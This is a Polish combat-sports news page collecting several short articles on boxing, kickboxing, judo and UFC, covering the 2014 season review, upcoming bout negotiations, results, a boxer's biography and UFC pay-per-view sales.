Niepodzielnie na ringach panuje nadal Wladimir Kliczko. Ukrainiec dzierży w swoich dłoniach cztery pasy mistrzowskie w wadze ciężkiej. W 2014 roku Kliczko stoczył dwa pojedynki. Rzecz jasna, w obu wypadkach były to walki zwycięskie. W kwietniu Kliczko pokonał Alexa Leapaia, a w listopadzie okazał się lepszy od Kubrata Pulewa. Kto będzie kolejnym rywalem Ukraińca? Jennings, Briggs, Fury – to Ci, którzy chcieliby stanąć w ringu z Kliczko.
Najpotężniejszym bokserskim nazwiskiem pozostaje nadal Floyd Mayweather Jr. Magia jego nazwiska przyciąga nie tylko kolejnych rywali, ale sponsorów, media i widzów. Za Mayweatherem podążają ogromne pieniądze. Czy to nie jest główny powód wielkiego zainteresowania jego osobą ze strony innych pięściarzy? W 2014 roku Money dwukrotnie walczył z Marcosem Maidaną. Obie walki Mayweather wygrał, ale rozstrzygnięcie pierwszego pojedynku zrodziło wiele wątpliwości. Kto kolejny stanie w ringu z Moneyem? Najbliżej jest Manny Pacquiao, o czym mówi sam Amerykanin, który pojedynek ten planuje na 2 maja. Rywalizować z Mayweatherem chcieliby: Khan, Cotto, Alvarez. Money ma wybór – to on rozdaje karty. Pewne jest, że jeśli doszłoby do starcia Mayweather – Pacquiao to byłoby to sportowe wydarzenie roku 2015. Kto wie, czy nie marketingowe i biznesowe.
Dla polskich fanów boksu rok 2014 był rozczarowujący ze względu na fakt, iż straciliśmy jedyny tytuł mistrza świata. Krzysztof „Diablo” Włodarczyk musiał pogodzić się z porażką w pojedynku z Grigorijem Drozdem. Tym samym Polak stracił pas WBC w kategorii junior ciężkiej. Diablo w 2014 roku nie stoczył kolejnej walki, przeszedł artroskopię prawego barku i w 2015 roku ma wrócić na ring, aby podjąć próbę powrotu na szczyt. Czy ta próba będzie udana? W mijającym roku potknięcie zaliczył Mateusz Masternak, który jest wielką nadzieją polskiego boksu. Popularny Master przegrał niespodziewanie z Yourim Kalengą, co obniżyło jego pozycję w hierarchii. Jednak Masternak w kolejnej walce zrehabilitował się, pokazał klasę i zwyciężył. Master pokonał Jeana – Marca Mormecka.
W 2014 roku przed ogromną szansą stanął Paweł Głażewski. Głaz mógł zdobyć pas WBA wagi półciężkiej, jednak okazał się gorszy od Jurgena Brahmera. Mogliśmy mieć mistrza świata, jednak Głażewski nie udźwignął ciężaru wyzwania i wytrzymał w ringu zaledwie czterdzieści trzy sekundy.
Coraz pewniej poczyna sobie Andrzej Fonfara. W maju Polak uporał się z Adonisem Stevensonem, w listopadzie pokonał Doudou Ngumbu. Fonfara jest na najlepszej drodze do walki o mistrzowski pas wagi półciężkiej. Polak ma ugruntowaną pozycję w swojej kategorii wagowej, kroczy od zwycięstwa do zwycięstwa. Czy zrealizuje nasze marzenia o mistrzowskim pasie?
Rok 2014 był również rokiem pożegnań. Ostatnią, choć tak naprawdę pokazową, walkę stoczył Andrzej Gołota. Andrew zmierzył się z Danelem Nicholsonem w Częstochowie. Symbol polskiego boksu oficjalnie zakończył karierę. Artur Szpilka okazał się lepszy od Tomasza Adamka. Góral przegrał ze Szpilą, choć wydawało się, że jest faworytem starcia z młokosem. Szpila wykazał się dojrzałością i spokojem w ringu. Adamek nie wytrzymał pojedynku kondycyjnie, nie był w stanie przeciwstawić się sile rywala. Szpilka na szczycie polskiej wagi ciężkiej.
Bardzo dobry rok za Ewą Brodnicką, która jest ikoną polskiego boksu kobiecego. W 2014 roku sięgnęła po pas WBF International kategorii junior półśredniej. W ostatnim pojedynku w minionym roku „Królowa” okazała się lepsza od Galiny Gumliiskiej. Po dwuletniej przerwie na ring wrócił Mariusz Wach, który pokonał Samira Kurtagicia. Ponadto, Wiking stoczył w 2014 roku jeszcze jeden pojedynek. Rywalizacja z Travisem Walkerem również zakończyła się triumfem Wacha.
Kliczko i Mayweather to najmocniejsze bokserskie nazwiska na świecie. Ukrainiec i Amerykanin rozdają karty, o nich najwięcej mówi się i pisze. Do nich należy największa władza, pieniądze i sympatia publiczności. Czy będą dominowali w 2015 roku? Miniony rok dla polskiego boksu był umiarkowany. Cieniem kładzie się utrata mistrzowskiego pasa przez Krzysztofa Włodarczyka. Bardzo dobrze rozwija się kariera Ewy Brodnickiej. Nadzieje należy pokładać w Andrzeju Fonfarze i Mateuszu Masternaku.
KM
Zapraszamy na retransmisję z gali DSF KICKBOXING CHALLENGE "Bitwa w Piasecznie", która odbyła się 28 lutego br. w Piasecznie k/Warszawy. Wspaniałe walki w formułach K-1 i Full Contact, wspaniała oprawa i niesamowite emocje. Retransmisję prowadzimy w dwóch jakościach – obecna jest w jakości SD. Dla osób, które dysponują mocnym łączem internetowym zapraszamy do działu PROGRAM znajdziecie tam retransmisję w jakości HD. ZAPRASZAMY!!!
[kod]
Zapraszamy na retransmisję z gali DSF KICKBOXING CHALLENGE "Bitwa w Piasecznie", która odbyła się 28 lutego br. w Piasecznie k/Warszawy. Wspaniałe walki w formułach K-1 i Full Contact, wspaniała oprawa i niesamowite emocje. Retransmisję prowadzimy w dwóch jakościach – obecna jest w jakości HD. Dla osób, które dysponują słabszym łączem internetowym zapraszamy do działu PROGRAM znajdziecie tam retransmisję w jakości SD. ZAPRASZAMY!!!
[kod]
Zapraszamy na premierową retransmisję gali DSF Kickboxing Challenge 2. Startujemy w pierwszy dzień świąt 25 grudnia o godz. 18.00. Retransmisję możecie oglądać w dwóch jakościach SD i HD. Poniżej możecie wybrać jakość transmisji w zależności od posiadanego łącza internetowego.
Przed galą przygotowaliśmy także krótkie wywiady przeprowadzone z zawodnikami i zawodniczkami gali DSF KICKBOXING CHALLENGE 2 przez znanego z KSW Artura Przybysza.
Poza retransmisją w pierwszy dzień świąt przygotowaliśmy dla wszystkich, którzy nie będą mogli obejrzeć gali drugą retransmisję w drugi dzień świąt o godz. 17.00.
Saul "Canelo" Alvarez swoją najbliższą walkę stoczy 2 maja 2015 roku. Pięściarz z powodu kontuzji nie stanął do rywalizacji z Joshuą Clotteyem, która miała mieć miejsce w grudniu. Teraz chce podjąć rywala z mocnym nazwiskiem.
Alvarez za cel wyznaczył sobie pojedynek z mistrzem świata federacji WBC wagi średniej Miguelem Cotto. Negocjacje na temat pojedynku nadal trwają i warto zaznaczyć, że nie należą do najłatwiejszych. Alvarez podkreśla, że bierze pod uwagę rywalizację z innym przeciwnikiem. Rozmowy z Cotto są trudne, jednakże Portorykańczyk ma prawo stawiać żądania. W końcu jest mistrzem świata. Alvarez podchodzi do całej sprawy spokojnie i nie prowadzi medialnej gry. – Jestem gotowy na rywalizację z Cotto, jednak on jest na dzień dzisiejszy jedną z opcji. Nie chcę wysyłać w jego kierunku żadnych wiadomości. Nie prowokuję swoich rywali w mediach – powiedział meksykański bokser.
Negocjacje na temat pojedynku w imieniu Alvareza prowadzi Oscar de La Hoya. Z kolei Canelo udał się na odpoczynek. – Obecnie jestem na wakacjach. Przechodzę rehabilitację, gdyż mam problemy ze stopą. Do końca roku będę odpoczywał, a w styczniu wrócę na salę treningową, aby rozpocząć przygotowania do majowej walki. Alvarez jest zdeterminowany, aby jego kolejny pojedynek odbył się w maju, gdyż piąty dzień tego miesiąca jest niezwykle ważny dla mieszkańców Meksyku. 5 maja 1862 roku pod Pueblą wojska meksykańskie pokonały armię francuską i po dziś dzień jest to niezwykle istotna data w historii tego kraju. Dlatego też Canelo chce sprawić swoim rodakom dodatkową radość.
Pojawiły się wątpliwości, czy Alvarez stanie w ringu 2 maja. Wynikają one z faktu, że w tym samym terminie miałoby dojść do rywalizacji Floyda Mayweathera Jr z Mannym Pacquiao. Sam Canelo jest bardzo zdeterminowany, aby pojawić się w ringu 2 maja. Szef grupy Golden Boys Promotions, Oscar de La Hoya głęboko wierzy, że tak będzie. Na pewno te dwa pojedynki nie znajdą się w jednej karcie gali. Warto zaznaczyć, że rywalizacja Moneya i Pacmana nadal stoi pod znakiem zapytania. Z kolei Canelo ma już termin, lecz czeka na rywala. Czy będzie nim Cotto?
Negocjacje trwają. Cotto z pewnością jest jednym z najbardziej wymagających rywali dla Alvareza. Obaj pięściarze mogliby stworzyć ciekawe widowisko, gdyż walczą widowiskowo i co najważniejsze – prezentują boks z najwyższej półki. Za Alvarezem nadal ciągnie się porażka w rywalizacji z Mayweatherem. W 2013 roku walka Moneya z Canelo była prawdziwym show. Alvarez chce wrócić na szczyt, a najlepszą okazją do tego jest pojedynek z takim rywalem jak Cotto. Portorykańczyk jest utytułowanym bokserem. Wielokrotny mistrz kilku kategorii wagowych, obecnie posiada pas WBC wagi średniej. Do historii przejdzie jego rywalizacja z Sergio Martinezem i walki z Antonio Margarito. Czy grzeczny Alvarez jest w stanie powstrzymać Cotto? Wydaje się, że Canelo rozdaje karty, bo on chce stoczyć ten pojedynek. Cotto jest spokojny i pewny siebie, ma przewagę doświadczenia. W tym wszystkim na pierwszym plan przebija się jedno nazwisko. Mayweather. Cały bokser choruje na Moneya. Alvarez chciałby jeszcze raz stanąć w ringu z Moneyem, podobne pragnienie ma Cotto. Z kim 2 maja przyjdzie stanąć w ringu Alvarezowi? Czy Cotto skusi się na rywalizację z Canelo?
KM
W holenderskim Hoofddorp odbyły się Klubowe Mistrzostwa Europy, w których triumfy święciły ekipy z Gruzji i Niemiec. Wśród panów najlepszy okazał się Fighter Tbillisi, w rywalizacji pań triumf przypadł JSV Speyer.
W finale zespół z Tbillisi spotkał się z holenderską ekipą – Kenamju Haarlem i wygrał pewnie 4:1. Brązowe medale trafiły do judoków Sportingu Lizbona i Crveny Zvezdy Belgrad. Wśród pań JSV Speyer rywalizował ze szwajcarską drużyną Judo Klub Cortaillod. Kenamju Haarlem i Sainte Genevieve Sports wywalczyły brązowe medale. Medaliści KME wezmą udział w przyszłorocznej edycji Złotej Ligi.
W Hoofddorp zobaczyliśmy jedną Polkę – Agatę Ozdobę, która reprezentowała barwy BBSK Istambuł. Drużyna naszej judoczki była o krok od medalu. W rywalizacji o brązowy medal BBSK przegrał w stosunku 2:3 z Sainte Genevieve Sports z Francji.
Radości z triumfu drużyny z Tbillisi nie krył wiceprezes Gruzińskiej Federacji Judo Mamuka Kiziashvili: – Nasze wyniki są fantastyczne. Chciałbym podkreślić świetne występy dwóch zawodników. Są Zebeda Rekhviashvili i Awtandil Czrikiszwili, którzy zaprezentowali się fantastycznie. W przyszłym roku Fighter weźmie udział w rywalizacji w Złotej Lidze, gdzie będzie jednym z faworytów.
Dla JSV Speyer triumf w Klubowych Mistrzostwach Europy to ogromny sukces. Niemiecki zespół po raz pierwszy dokonał tej sztuki. Na fali radości trener zespołu Nadine Lauteuschlafer powiedział, że za rok w Złotej Lidze jego zespół również będzie walczył o triumf. Awans do turnieju Złotej Ligi i rywalizacja w niej wielu pobudza do ciężkiej pracy, a także rozbudza marzenia o triumfie i glorii chwały. Trener drużyny kobiet Kenamju Haarlem Benito Maij cieszył się z brązu w KME, ale już myślami wybiegał w przyszłość. – Nie mogę się doczekać Złotej Ligi w przyszłym roku, ale najpierw chcemy uczcić nasz dzisiejszy sukces.
Turniej Złotej Ligi po raz pierwszy w historii odbył się w miniony weekend w Samarze. Pierwszymi triumfatorami zostały zespoły: Galatasaray Stambuł wśród pań, u panów zwyciężył zespół Jawary-Newy Sankt Petersburg. Turczynki na swojej drodze trafiły na dwie ekipy z Francji. Najpierw Galatasaray rozprawiło się z RSC Campigny (3:2),a w półfinale rozbiło JC Pontault Combault (5:0). Zespół z Turcji w finale zmierzył się z włoską ekipą Fiamme Gialle Roma i zwyciężył 3:2. Wszystkie trzy pojedynki wygrała gwiazda Galatasaray Majlinda Kelmendi. – Spodziewałyśmy się, że zdobędziemy medal, ale nie myślałyśmy, że uda nam się wygrać – powiedziała zawodniczka z Kosowa.
Ekipa z Sankt –Petersburga na swojej drodze do zwycięstwa nie napotkała większych problemów. Sam wynik finału – 5:0 pokazuje jak mocna jest rosyjska ekipa. – Trudno znaleźć słowa, aby wyrazić uczucia nam towarzyszące – mówił po zawodach szkoleniowiec Jawary Newy Witalij Makarow.
Złota Liga zaprezentowała odpowiedni poziom organizacyjnie i sportowo. W przyszłym roku na tatami zobaczymy triumfatorów tegorocznych Klubowych Mistrzostw Europy. Prezydent Europejskiej Federacji Judo Sergey Soloveychik był pod wrażeniem efektów rywalizacji w zawodach Złotej Ligi. – Mieliśmy najlepsze drużyny tutaj na tatami w Samarze.
KM
Podczas gali z cyklu Topking World Series w Hong Kongu swój pojedynek stoczył Marcin Parcheta. Polski fighter przegrał z Anglikiem Rece’m McAllister’em.
Parcheta toczył pojedynek na poziomie ćwierćfinału, do którego awansował podczas poprzedniej gali w Paryżu. W listopadzie Polak okazał się lepszy od Aziza Hlali. W tamtym pojedynku Parcheta nie pozostawił złudzeń, kto jest lepszy. Nasz kickbokser znokautował kolanem swojego rywala i uzyskał awans do ćwierćfinału. Z kolei Recee McAllister w Paryżu pokonał Circe'a Boussoukou'a. Mający za sobą występy w organizacji Glory Anglik rozstrzygnął pojedynek już w pierwszej rundzie.
Tym samym Parcheta znalazł się w najlepszej szesnastce, jednak na tym etapie zakończyła się jego rywalizacja. Doświadczony McAllister szybko zakończył pojedynek. Już w pierwszej rundzie Anglik pokonał Parchetę i uzyskał awans do półfinału. Warto zaznaczyć, że tylko pojedynek polskiego fightera zakończył się przez KO. W trzech pozostałych walkach o wynikach decydowali sędziowie. Marat Grigorian pokonał Eisę Alamda Nezama, Khayal Dzhaniev okazał się lepszy od Niclasa R. Larsena, Buakaw Banchamek zwyciężył w rywalizacji z Dmytro Konstantynovem.
Niestety, polski fighter na poziomie ćwierćfinału pożegnał się z rywalizacją Topking Wolrd Series. Szkoda. Marcin Parcheta jest naszą wizytówką na świecie. Zawodnik występuje na licznych galach i walczy z najlepszymi fighterami na świecie. W Polsce Parcheta jest dość anonimowy. Ostatnio większe audytorium usłyszało o nim w kontekście jego występu na gali KSW. W Szczecinie zawodnik kickboxingu okazał się lepszy od boksera Rafała Jackiewicza. Mimo walki w KSW Parcheta nadal kontynuuje swoją przygodę z kickboxingiem. Ma mocne nazwisko, a przede wszystkim wielkie umiejętności, które predysponują go do występów na światowym poziomie i rywalizacji z topowymi zawodnikami.
Parcheta jest jednym z najbardziej utytułowanych kickbokserów w Polsce. W swojej kolekcji ma ponad trzydzieści medali. W jego przypadku należy zastanowić się nad kwestią, a być może koniecznością umiejętności eksponowania takiej osobowości. Nie ukrywajmy – to jest gwiazda. Tak jak i Wojtek Kosowski czy Michał Głogowski. Dlaczego o przypadku Parchety większe audytorium usłyszało dopiero w kontekście KSW? Oczywiście, dla fanów kickboxingu ów fighter jest gwiazdą, ale w kraju jest nadal anonimowy. Sam fakt, że zawodnik jeździ po świecie i walczy z najlepszymi, ba – wygrywa, jest w czołówce – jest godny uwagi.
W Hong Kongu Parcheta poległ. Doświadczony Anglik okazał się lepszy i zwyciężył. Jednakże ranga zawodów, w których Parcheta bierze udział nie jest dostępna dla wszystkich. Jeśli świat ceni Parchetę to i my powinniśmy to zrobić. Czy po raz kolejny zobaczymy go na KSW? Czy zniknie ze świadomości społecznej na dłużej? Kwestią fundamentalną jest to, co tak naprawdę jest najważniejsze. Nazwisko, umiejętności, medialność, marketing?
KM
Polski bokser urodzony 5 listopada 1926 roku w Gdańsku zmarł w26 września 2009 roku w Hamburgu. Treningi rozpoczął w wieku 13 lat w polskim klubie Gedania. Po rozpoczęciu wojny został pozbawiony gdańskiego obywatelstwa przez władze Niemieckie, a w 1944 roku przymusowo wcielony do Wehrmachtu. Zdezerterował we Francji, po czym trafił do 2 korpusu Polskiego gen. Andersa we Włoszech. Do Polski wrócił w 1946 roku. W 1947 roku zadebiutował w reprezentacji polski u Feliska Stamma. Rok później pojechał na Igrzyska Olimpijskie do Londynu gdzie dotarł do ćwierćfinału. W 1951 roku zdobył Mistrzostwo Europy w Mediolanie. Na kolejnej Olimpiadzie w 1952 roku, która odbywała się w Helsinkach, Zygmunt Chychła zdobył złoty medal. W finałowej walce pokonał reprezentanta ZSRR Siergieja Szczerbakowa. W drodze do finału pokonał mistrza olimpijskiego z Londynu, reprezentanta Czechosłowacji Juliusa Tormę. Po powrocie z Olimpiady, Zygmunt dowiedział się o swojej chorobie na gruźlicę. Postanowił wycofać się ze sportu, jednak polskie władze sportowe nie chcąc aby zabrakło go na Mistrzostwach Europy w Warszawie w 1953 roku, wprowadziły go w błąd twierdząc, że choroba się cofnęła. Zygmunt wystartował w turnieju i zdobył złoty medal. W skutek braku leczenia choroba się rozwinęła, powodując sporą jamę w płucach. W 1953 roku zakończył sportową karierę a w roku 1972 wyemigrował do Niemiec. Dla reprezentacji polski wystąpił 17 razy . 15 walk wygrał i 2 przegrał. Łącznie stoczył 263 walki, 241 wygrał, 10 zremisował i 12 przegrał. W 2003 roku został uhonorowany przez Radę Miasta Gdańsk tytułem Honorowego Obywatela Miasta.
W lipcu pojawiła się oficjalna informacja o podpisaniu kontraktu przez Holly Holm z organizacją UFC. Zawodniczka mieszanych sztuk walki, która ma za sobą karierę w boksie i kocikboxingu miała zadebiutować pod nowym sztandarem na UFC 181 w pojedynku z Raquel Pennington, jednak do starcia nie doszło.
Debiut Holm w UFC uniemożliwiła kontuzja. Zawodnika musiała zrezygnować z pojedynku z Pennington z powodu wypadnięcia dysku. Sama Holm nie kryła rozczarowania w związku z tym faktem, ale rzecz jasna – zdrowie jest najważniejsze. Kariera zawodniczki nigdy nie obfitowała w kontuzje. Dopiero w ostatnim czasie Holm zaczęły przytrafiać się problemy zdrowotne – wspomniany dysk oraz złamana ręka. 33-letnia Amerykanka nie narzeka na swoje przypadłości. – Staram się stopniowo wracać do zdrowia i nie frustrować za bardzo. Jestem bardzo aktywną zawodniczką.
Fani mieszanych sztuk walki bacznie obserwują sytuację Holm, gdyż z niecierpliwością oczekują jej debiutu w UFC. Nie ma się, co dziwić, gdyż 33-latka ma ogromny potencjał, wielkie umiejętności i co w tym wypadku należy również podkreślić – jest urodziwą kobietą. W UFC chodzi o show i skupienie uwagi publiczności, a jej męską część z pewnością marzy o zobaczeniu w akcji pięknej Holm. Sama zawodniczka ma świadomość swojego stanu zdrowia i stopniowo dochodzi do pełnej dyspozycji. Powoli pojawiają się w jej głowie myśli na temat debiutu w organizacji UFC, z którą to podpisała kontrakt na pięć walk. Do pojedynku z Raquel Pennington Holm przygotowywała się bardzo intensywnie i była już na końcowym etapie, jednak przytrafiła się jej kontuzja, która uniemożliwiła jej rozpoczęcie nowej przygody. Sama Holm podkreśla, że nie myśli o tym i skupia się na kolejnym pojedynku.
Bardzo prawdopodobne, że walcząca w kategorii koguciej zawodniczka zadebiutuje w UFC na przełomie lutego i marca. Co do rywalki, w tej kwestii nie zapadły jeszcze żadne ustalenia. Holm chce wrócić i zadebiutować w UFC, ale jej plany wybiegają znacznie dalej. Ambicją 33-latki jest walka o najwyższe cele. Holm nie wyklucza rywalizacji z Rondą Rousey, której umiejętności ceni bardzo wysoko. – Nie mam wątpliwości, co do tego, że obecnie jest to najtwardsza zawodniczka w UFC. Każdego można pokonać. Chcę mieć tą możliwość, aby się z nią zmierzyć – powiedziała była bokserka.
Holm dochodzi do pełnej dyspozycji i czeka na debiut w UFC. Kontrakt podpisany na pięć walk. Tylko od niej zależy, czy stanie się nową gwiazdą organizacji i zagrozi idącej jak burza Rousey. Czy Holm będzie miała wejście smoka? Kiedy włodarze UFC zdecydują się na pojedynek Holm –Rousey? To kwestia przyszłości. Najpierw Holm musi w pełni sił zadebiutować w UFC i przede wszystkim wygrać, a dopiero potem przyjdzie czas na rywalizację z tą najtwardszą.
KM
Obóz Władimira Kliczko prowadzi negocjacje na temat walki z Bryantem Jenningsem, do której prawdopodobnie dojdzie w kwietniu 2015 roku. Do rywalizacji o najwyższe cele chce przystąpić kolejny gracz. Niezwykle pewny siebie Tyson Fury.
Pretendent do tytułu mistrza świata federacji WBO wagi ciężkiej ma ambitne plany i chce wejść na samym szczyt bokserskiej hierarchii. Jednakże jak ogłosił promotor pięściarza, Frank Warren, Fury kolejną walkę stoczy 28 lutego w Londynie. Nazwisko rywala nie jest jeszcze znane. Fury myślami wybiega w przyszłość i otwarcie mówi o chęci spotkania się między linami z Władimirem Kliczko. Co więcej, czołowy bokser wagi ciężkiej jasno przedstawia swój cel – wygrana z Ukraińcem i unifikacja wszystkich pasów w walce ze zwycięzcą pojedynku Deontay Wilder vs Bermane Stiverne.
Plan Fury’ego jest ambitny. Bokser chce odebrać Kliczce cztery pasy – WBO/WBA/IBO/IBF i dołożyć do nich kolejny – WBC. Kwestią fundamentalną jest fakt, że najpierw musi dojść do rywalizacji z Ukraińcem. Jak się okazuje obóz Fury’ego wysłał do Kliczki zapytanie, czy pojedynek nie mógłby się odbyć w marcu. Pytanie pozostawione bez odpowiedzi. Kliczko prowadzi zaawansowane rozmowy na temat walki z Bryantem Jenningsem i wszystko wskazuje na to, że Ukrainiec będzie rywalizował z Amerykaninem w kwietniu. Sam fakt, że Fury ma zaplanowaną walkę na luty, a rywalizować z mistrzem świata WBO/WBA/IBO/IBF chciałby w marcu wygląda coś niepokojąco, a przede wszystkim niepoważnie.
Sam Fury już rozpoczął kampanię medialną i stara się zdyskredytować Ukraińca twierdzeniem, że ten unika starcia z nim. – Dawno temu powiedziałem, że nie wierzę, iż Władimir Kliczko będzie chciał ze mną walczyć. Jeśli nagle zechce się ze mną zmierzyć, to stanie się jakiś cud. Nie interesuje mnie to, co mówią jego promotorzy. Patrzyłem w jego oczy i widziałem w nich strach – powiedział Fury. Brytyjczyk w swoich wypowiedziach jest bardzo pewny siebie i wprost mówi o tym, że jest faworytem rywalizacji z Kliczko. Fury wie, że w przypadku pojedynku z Ukraińcem znokautowałby go. – On jest już stary i szybko się męczy, dlatego jestem przekonany, że go znokautuję.
Fury podkreśla, że najlepiej, gdyby walka z Ukraińcem odbyła się w Wielkiej Brytanii. Kolejnym krokiem miałaby być unifikacja pasów w rywalizacji ze Stivernem bądź Wilderem. Po wykonaniu założonego planu Fury chciałby stoczyć jeszcze dwie walki w obronie pasów, a potem odpocząć od boksu.
Pewność siebie, samouwielbienie, bezpretensjonalność. Fury prezentuje postawę roszczącą względem Kliczko i liczy na walkę z Ukraińcem. Sam Brytyjczyk mówi, że nie jest cierpliwy. A cierpliwość to cenna cecha. Skoro ma już plan to niech zacznie go realizować. Kolejny brytyjski bokser głośno mówi o swoich aspiracjach i swojej wyjątkowości. Haye’owi się nie udało, czy Fury ma szansę? Wszystko wskazuje na to, że musi być cierpliwy. Kliczko ma inne plany, ale Fury chyba tego nie uwzględnił.
KM
Konfrontacja Alexandra Povetkina z Mikem Perezem może mieć szczególne znaczenie. Zwycięzca pojedynku stanie przed szansą walki o wysoką stawkę.
Federacja ogłosiła, że starcie pomiędzy Povetkinem, a Perezem będzie miało status finałowego eliminatora WBC. Zwycięzca stanie przed szansą walki o pas WBC wagi ciężkiej. 17 stycznia dojdzie do rywalizacji Bermane’a Stiverne’a, który jest obecnym mistrzem i pretendenta Deontaya Wildera. Povetkin bądź Perez – któryś z nich stanie w ringu ze zwycięzcą styczniowego pojedynku.
Cała sytuacja jest dość skomplikowana i tak naprawdę wszystko zależy od Bryanta Jenningsa. Obecnie Amerykanin jest pretendentem do tytułu mistrza świata WBC, jednak pięściarz prowadzi zaawansowane negocjacje na temat walki z czempionem WBO/IBO/WBA/IBF Władimirem Kliczko. Starcie Jenningsa z Ukraińcem miałoby się odbyć w kwietniu. Jeśli strony doszłyby do porozumienia w sprawie walki to Amerykanin automatycznie straciłby status pretendenta do tytułu WBC. Tym samym otworzyłaby się szansa przed Povetkinem i Perezem. Wtedy federacja WBC mogłaby uruchomić procedurą do organizacji finałowego eliminatora WBC.
Ciężar takiej rywalizacji byłby zupełnie inny. Dla Pereza otworzyłby się kolejne drzwi i stanąłby przed szansą wejścia na szczyt wagi ciężkiej. Kubańczyk swoją przygodę z boksem zawodowym rozpoczął w 2008 roku. W 2011 roku wygrał turniej Prizefighter w wadze ciężkiej. O umiejętnościach Pereza i sile jego ciosu przekonał się Magomied Abdusałamow, który w 2013 roku po walce z Kubańczykiem w wyniku licznych obrażeń trafił do szpitala. Czy Povetkin dałby się zaskoczyć młodszemu rywalowi? Perez ma potencjał, jednak Rosjanin ma cenne doświadczenie i walczył już o najwyższe cele.
Historia Povetkina jest bardzo ciekawa, a zwłaszcza historia jego ucieczki przed Władimirem Kliczko. Rosjanin w styczniu 2008 roku pokonał na punkty Eddiego Chambersa i w grudniu miał walczyć z mistrzem z Ukrainy. Bokser z Rosji wycofał się z powodu kontuzji. W marcu 2010 roku Povetkin okazał się lepszy od Javiera Mory i zyskał miano pretendenta do tytułów WBO i IBF, których posiadaczem był Kliczko. Panowie mieli spotkać się w ringu we wrześniu, jednak w lipcu Rosjanin wycofał się. Ostatecznie do pojedynku Povetkin – Kliczko doszło w październiku 2013 roku. Obawy Rosjanina były słuszne, gdyż przegrał walkę na punkty, przy okazji stracił tytuł mistrza świata WBA. W pojedynku z Kliczko Povetkin czterokrotnie padał na deski. Była to jego pierwsza porażka na zawodowym ringu. Warto dodać, że pas WBA Povetkin zdobył w rywalizacji z Rusłanem Czagajewem w 2011 roku, który był „nieobsadzony”. W swojej karierze Povetkin pokonał polskiego boksera – Andrzeja Wawrzyka. Obecnie pięściarz jest posiadaczem tytułu WBC silver.
Rosjanin ma znacznie bogatszą karierę od Kubańczyka, jednak wszystko zweryfikuje ring. Od decyzji Jenningsa zależy o jaką stawkę będzie toczyła się rywalizacja. Dla Pereza będzie to ogromna szansa na awans sportowy i rozwój, z kolei Povetkin może podjąć próbę powrotu na szczyt. Na szczycie jest Kliczko. Czy Povetkin będzie uciekał? A może Perez pozbawi go marzeń i będzie chciał najpierw zdobyć pas WBC, by potem stanąć do rywalizacji z Ukraińcem. Starcie Povetkin – Perez zapewne będzie rywalizacją o szczególnym znaczeniu. Dla przyszłości – jednego i drugiego.
KM
Chytry dwa razy traci. Lepiej raz, a porządnie. Nie ilość, a jakość. Mądrości jest wiele i jak się okazuje czasami należy do nich sięgąć. Czy w czymś pomagają? Tak, pozwalają zastanowić się nad podejmowanymi decyzjami, od których zależy powodzenie działania. Włodarze UFC mają problem. Problem to zbyt duże słowo, może lepiej będzie brzmiało kłopot, a właściwie kłopocik. Liczby mówią wszystko.
Oczywiście, finansowo UFC jest potęgą i jeszcze przez dłuższy czas będzie. Warto zaznaczyć, że mimo to produkt ten stopniowo traci na wartości. Nie tyle na znaczeniu, bo marka jest mocna, ale na wartości. Świetni zawodnicy, wielkie pieniądze, ale ten biznes nie może kręcić się bez widzów, a jak pokazują ostatnie analizy Dave’a Meltzera, jest z tym coraz gorzej.
Dave Meltzer jest dziennikarzem, który regularnie podaje informacje na temat sprzedanych transmisji PPV z imprez sportowych na terenie USA. Według jego wyliczeń ostatnie gale UFC nie osiągnęły założonych wyników. Na żadną z ostatnich czterech imprez nie sprzedano więcej niż 400 tysięcy transmisji. UFC 181: „Hendricks vs. Lawler przyciągnęło największą uwagę, gdyż zakupiono 380 tysięcy (liczba ta może jeszcze wzrosnąć), UFC 178: „Johnson vs. Cariaso” to lekko ponad 200 tysięcy. W przedziale 160 – 200 tysięcy znalazły się gale UFC 179: „Aldo vs. Mendes” i UFC 180: „Werdum vs. Hunt”: Wyniki najdelikatniej mówiąc rozczarowujące.
Obecna sprzedaż PPV jest bez porównania niższa niż choćby rok temu. UFC traci. Głównym powodem takiego stanu rzeczy jest kwestia darmowej transmisji w telewizji FOX i otwarcia innych źródeł dystrybucji. Warto zwrócić również uwagę na fakt, iż gale organizowane są zbyt często. Oczywiście, show must go on, jednak publiczność zwyczajnie nie nadąża za takim tempem i w pewnym momencie mówi stop, dosyć. Ponadto, gale UFC tracą na jakości. Obecnie organizacja skupia się na walce wieczoru i tej, która ją poprzedza. Inne z atrakcyjnością może mają coś wspólnego, ale nazwiska nie zachwycają i często jakościowo nie są to dobre pojedynki. Czy UFC sama sobie szkodzi? Lepiej raz, a porządnie.
Warto zwrócić uwagę na fakt, że żadna z gal UFC zorganizowanych w 2014 roku nie weszła do TOP 20 wszystkich dotychczasowych. Granicą jest 700 tysięcy sprzedanych transmisji PPV. W tym roku największą uwagę przyciągnęła gala UFC 175 „Weidman vs Machida”, na którą sprzedano 545 tysięcy transmisji. Obecnie sprzedaż PPV jest na niskim poziomie.
Z jednej strony zbyt duża częstotliwość gal, z drugiej kolejne kanały dystrybucji. Tak naprawdę o atrakcyjności marki decydują gwiazdy. UFC ma w swoich szeregach mocnych i cenionych fighterów, jednakże nie eksponuje tego wyraźnie. Być może dobrym krokiem jest ekspansja na wschód i ściąganie tamtejszych zawodników, aby wzmocnić wartość i potencjał UFC. Ważne jest, aby karta walk była ciekawsza. UFC czyni dobry ruch szukając nowych nazwisk, ale takich, które coś znaczą. Kolejnym krokiem powinno być stworzenie mocnej karty walk. Takiej gali, którą wszyscy będą długo pamiętali i chętnie zobaczą kolejną. Kto teraz pamięta ostatnią imprezę UFC?
KM
